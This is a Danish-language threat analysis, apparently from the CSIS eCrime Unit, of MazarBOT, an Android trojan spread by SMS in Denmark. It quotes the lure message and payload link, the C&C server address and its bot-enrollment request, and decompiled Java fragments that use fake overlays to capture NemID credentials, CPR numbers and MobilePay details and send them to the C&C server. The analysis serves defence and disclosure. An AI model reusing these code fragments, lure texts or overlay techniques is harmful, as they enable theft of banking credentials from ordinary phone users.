Android datatyven, som vi har døbt MazarBOT, er sent i går og her til formiddag blevet SMS'et ud til vilkårlige numre i Danmark.
Den pågældende SMS ankommer med følgende ordlyd (saniteret af CSIS):
"Du har modtaget en MMS-besked fra +4529781229. Følg linket https://bitly[.]com/1TIny9Z".
Se SMS herunder:
Det pågældende link er en legitim URL forkorter tjeneste, som flytter trafikken videre til websiden (saniteret af CSIS) mmsforyou[.]pw/mms.apk. Det pågældende domæne er naturligvis blokeret i CSIS Secure DNS og Heimdal PRO/corporate.
Den pågældende APK der tilbydes, er en Android applikation, som forsøger at opnå talrige rettigheder på enheden, hvis applikationen køres af en uforsigtig bruger. Se skærmdump herunder:
I næste fase indrulles Android mobilen i et centralt BOTnet. Det sker via følgende API kald (saniteret af CSIS):
org.apache.http.impl.client.DefaultHttpClient.execute ->
(URL: "http://37.1.204[.]175/?action=command",
POST data: "{"os":"4.2.1","model":"Samsung Galaxy Nexus"
"apps":["exts.denmark"]
"imei":"%nr%"
"install id":"1"
"sms":[]
"type":"install"
"operator":"%data%"
"country":"DK"}"
"TelephonyManager.getDeviceId=[ID").
Denne funktionalitet er fint og overskueligt defineret i nedenstående:
import android.app.IntentService;
import android.content.Intent;
import android.content.SharedPreferences;
import exts.denmark.utils.RequestFactory;
import exts.denmark.utils.Sender;
import exts.denmark.utils.Utils;
import org.apache.http.impl.client.DefaultHttpClient;
import org.json.JSONObject;
APK pakken er blevet døbt "exts.denmark" af bagmændene og denne gang udvider den sit angreb til decideret at gå efter NemID, Mobilebank og Mobilepay. Vi har dekompileret hele koden og gennemgået samtlige funktioner som afslører at den gøre brug af overlay til at høste sensitive oplysninger som ofret skal lokkes til at indtaste igennem de "forfalskede dialogbokse" som laves over den legitime applikation. Herunder er funktionen gengivet, som høster CPR nummer, NemID brugernavn og password via overlay teknik:
String encodedImage = Utils.getEncodedImage(intent.getStringExtra("nem id"));
JSONObject cardData = new JSONObject();
cardData.put("cpr", intent.getStringExtra("cpr"));
cardData.put("phone", intent.getStringExtra("phone"));
cardData.put("password", intent.getStringExtra("password"));
cardData.put("nem id", encodedImage);
Sender.request(this.httpClient, Constants.ADMIN_LINK,
RequestFactory.makeCardData(appId, cardData).toString());
Utils.putBoolVal(settings, Constants.CARD_SENT, true);
updateCardUIIntent = new Intent(UPDATE_CARDS_UI);
updateCardUIIntent.putExtra("status", true);
sendBroadcast(updateCardUIIntent);
Som det kan ses, så lagres de høstede data via "UPDATE_CARDS_UI" og sendes herefter til de it-kriminelles C&C server.
Det samme gør sig gælgende for "Mobilepay" høsteren:
exts.denmark.MainService.3 */
class C00413 implements Runnable {
C00413() {
}
public void run() {
if (MainService.this.getTop().contains("dk.danskebank.mobilepay") && !
MainService.settings.getBoolean(Constants.CARD_SENT, false)) {
Intent i = new Intent(MainService.this, MobileBank.class);
i.addFlags(268435456);
MainService.this.startActivity(i);
SNIP:
} catch (Exception e) {
if (action.equals(REPORT_CARD_DATA)) {
updateCardUIIntent = new Intent(UPDATE_CARDS_UI);
updateCardUIIntent.putExtra("status", false);
sendBroadcast(updateCardUIIntent);
Og igen er hele denne funktionalitet samlet i følgende:
public static final String REPORT_CARD_DATA = "REPORT_CARD_DATA";
public static final String REPORT_INCOMING_MESSAGE = "REPORT_INCOMING_MESSAGE";
public static final String REPORT_INTERCEPT_STATUS = "REPORT_INTERCEPT_STATUS";
public static final String REPORT_LOCK_STATUS = "REPORT_LOCK_STATUS";
public static final String REPORT_SAVED_ID = "REPORT_SAVED_KEY";
public static final String REPORT_SENT_MESSAGE = "REPORT_SENT_MESSAGE";
public static final String UPDATE_CARDS_UI = "UPDATE_CARDS_UI";
private static SharedPreferences settings;
private DefaultHttpClient httpClient;
Denne variant af MazarBOT dropper ikke længere TOR. Men den opnår fortsat rettigheder som gør den i stand til at udføre en stribe af forskellige handlinger på telefonen, herunder opsamle kald og SMS'er, foretage og viderestille opkald, slette telefonen via forskellige metoder, høste telefonumre osv.
Rettighederne, som kræves når applikationen køres, er gengivet herunder:
<uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.WAKE_LOCK" /> <uses-permission android:name="android.permission.GET_TASKS" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
APK'en er signeret med følgende data:
thumbprint: 5A912A1FFF551139F72C5CF71BCBDF687505F31C
validfrom: 12:20 PM 02/17/2015
serialnumber: 563A8E37
Subject
DN: C=US, O=Android, CN=Android Debug
C: US
CN: Android Debug
O: Android
Issuer
DN: C=US, O=Android, CN=Android Debug
5400 kliks!
Når en gruppe af IT-kriminelle anvender bitly.com som springbræt, overvejer de måske ikke den mulighed at man som almindelig efterforsker kan tilføje et + til URI'en, hvorved der opnås adgang til statistik for hvor mange der har klikket på det pågældende link. Vi antager naturligvis, at der blandt de mange kliks kan gemme sig nysgerrige personer og researchere men hele 5.400 som har klikket på linket er alligevel rigtigt mange, og illustrerer hvor alvorlig en trussel MazarBOT har vokset sig til. Se skærmdump herunder:
C&C server
MazarBOT er som navnet antyder et BOTnet. Når en maskine indrulles kan de it-kriminelle via et grafisk interface kontrollere den enkelte mobiltelefon, eller udstede en klynge-kommando til alle indrullede Android telefoner på samme tid.
C&C serveren er hostet på IP adressen 37.1.204.175
Country: NL
admin-c: TNTS-RIPE
tech-c: TNTS-RIPE
status: ASSIGNED PA
mnt-by: MNT-3NT
mnt-routes: SERVERIUS-MNT
created: 2011-12-13T12:45:15Z
last-modified: 2014-11-22T07:40:47Z
source: RIPE
Generelt er dette en yderst raffineret datatyv, og vi frygter, og med god grund, at de it-kriminelle vil forfine den ondsindede kode med ny funktionalitet. Også det, at opdatere mobiltelefoner centralt via BOTnettet gør dette til en persistent trussel.
Antivirus detektion af den analyserede kode, giver os:
https://www.virustotal.com/en/file/4b425799100ea3fb4f10dbcedf0a01e2d8b82fc3c7457066a6cccb84d9065b5b/analysis/
Analyse: Peter Kruse, CSIS eCrime Unit